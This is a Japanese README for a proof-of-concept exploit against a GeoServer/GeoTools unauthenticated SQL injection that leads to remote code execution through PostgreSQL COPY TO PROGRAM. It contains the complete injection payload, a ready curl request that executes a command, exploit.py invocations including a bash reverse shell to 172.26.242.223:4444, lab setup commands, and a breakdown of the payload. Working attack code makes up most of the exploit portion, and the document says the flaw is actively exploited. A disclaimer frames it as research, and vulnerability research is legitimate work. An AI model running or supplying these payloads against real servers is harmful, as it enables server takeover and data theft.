
POC | GeoServer 未認証SQLインジェクションから完全なRCEへ
CVE: CVE-2026-76904 | CVSS: 9.8(緊急)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
この脆弱性には GeoServer/GeoTools チームによって GHSA-mqjf-5f49-2fjh が割り当てられており、2026年8月時点で実際の環境で活発に悪用されています。
この脆弱性にはパッチが適用されていますが、非常に新しい(1786870173)ため、現在もWeb上で広く悪用され続けています。
2026年8月21日 - CVE識別子を取得: CVE-2026-76904
GeoServer の jsonArrayContains 関数における未認証のSQLインジェクション
-> PostgreSQL の COPY TO PROGRAM を介したリモートコード実行(RCE)
PostgreSQL で JSON 配列をクエリするために使用される GeoServer(具体的には GeoTools)の jsonArrayContains 関数には、重大なSQLインジェクション脆弱性が存在します。3番目のパラメータ(expected)は、サニタイズ、エスケープ、パラメータバインドなしでSQLクエリに直接連結されます。
具体的には次のようなものです:
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')
この脆弱性は、GeoTools の FilterToSqlHelper.constructEquality メソッドに起因します。
jsonArrayContains 関数の3番目のパラメータ(expected)は、エスケープなしで String.formatted() を使用してSQL文字列に直接書き込まれます。
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
この欠陥は新しいバグではなく、CVE-2023-25158(同一のCVSS 9.8のSQLインジェクション脆弱性)の回帰です。
この新しい脆弱性は、GEOT-7589 が PostgreSQL 12+ 向けの jsonb_path_exists サポートを追加した際に導入されました。
2023年のパッチでは、その修正後に追加・変更された jsonArrayContains 関数は保護されていませんでした。
https://github.com/user-attachments/assets/d0913a18-249f-4364-bfe5-959af1660a1d
基本的には次のようなものです:
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
ペイロードの内訳:
手動curl
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeature" \
--data-urlencode "typeNames=topp:test_json" \
--data-urlencode "outputFormat=application/json" \
--data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
WFS 2.0 のクロージャパターンは、mhtsec による研究を基にしています。
curl を実行したい人はいませんよね? exploit.py の使用方法は以下の通りです。
ファイル作成PoC
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
--show-payload
RCE PoC
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
--show-payload
PoC をすぐに開始できるよう、docker-compose.yml が用意されています。
以下のコマンドで初期化した後
Docker compose up -d
利用可能な REST API を使用して環境をセットアップできます。
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<dataStore>
<name>test_json_store</name>
<connectionParameters>
<entry key="host">db</entry>
<entry key="port">5432</entry>
<entry key="database">geoserver_data</entry>
<entry key="user">geoserver</entry>
<entry key="passwd">geoserver</entry>
<entry key="dbtype">postgis</entry>
</connectionParameters>
</dataStore>'
レイヤーの公開
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<featureType>
<name>test_json</name>
<nativeName>test_json</nativeName>
<title>Test JSON Layer</title>
<srs>EPSG:4326</srs>
</featureType>'
このリポジトリには、GeoServer の ;jsonArrayContains; ゼロデイSQLインジェクションからRCEに至る脆弱性に対する独立した概念実証(PoC)エクスプロイトが含まれています。 この脆弱性は元々、秋风 (@q1uf3ng) によって発見・公開されました。エクスプロイトチェーンは、管理されたラボ環境で再現・検証されています。
このプロジェクトは、許可されたセキュリティ研究、教育、および隔離されたラボ環境でのテストのみを目的としています。
所有者から明示的な許可を得ずに、このソフトウェアをシステム、ネットワーク、またはデータに対して使用しないでください。適用法令を遵守する責任と、このプロジェクトの使用によって生じるいかなる結果に対する責任も、すべて利用者が負うものとします。
著者である YonLiud は、このプロジェクトを「現状のまま(as is)」で提供し、いかなる種類の保証も行いません。また、このソフトウェアまたは派生作品によって引き起こされた損害、データ損失、サービス中断、不正アクセス、その他の誤用について一切の責任を負いません。
このプロジェクトを使用することにより、これらの条件を理解し、受け入れたものとみなされます。
| コンポーネント | 目的 |
|---|
jsonArrayContains(data,'/x','y")\'') | 細工された3番目のパラメータで関数を呼び出す |
OR 1=1)) | JSONパスと関数呼び出しを閉じる |
AS gt_injected; | 派生テーブルにエイリアスを付ける |
COPY (SELECT 1) TO PROGRAM 'COMMAND' | PostgreSQL RCEコマンド |
--')=true | 残りのSQLをコメントアウトする |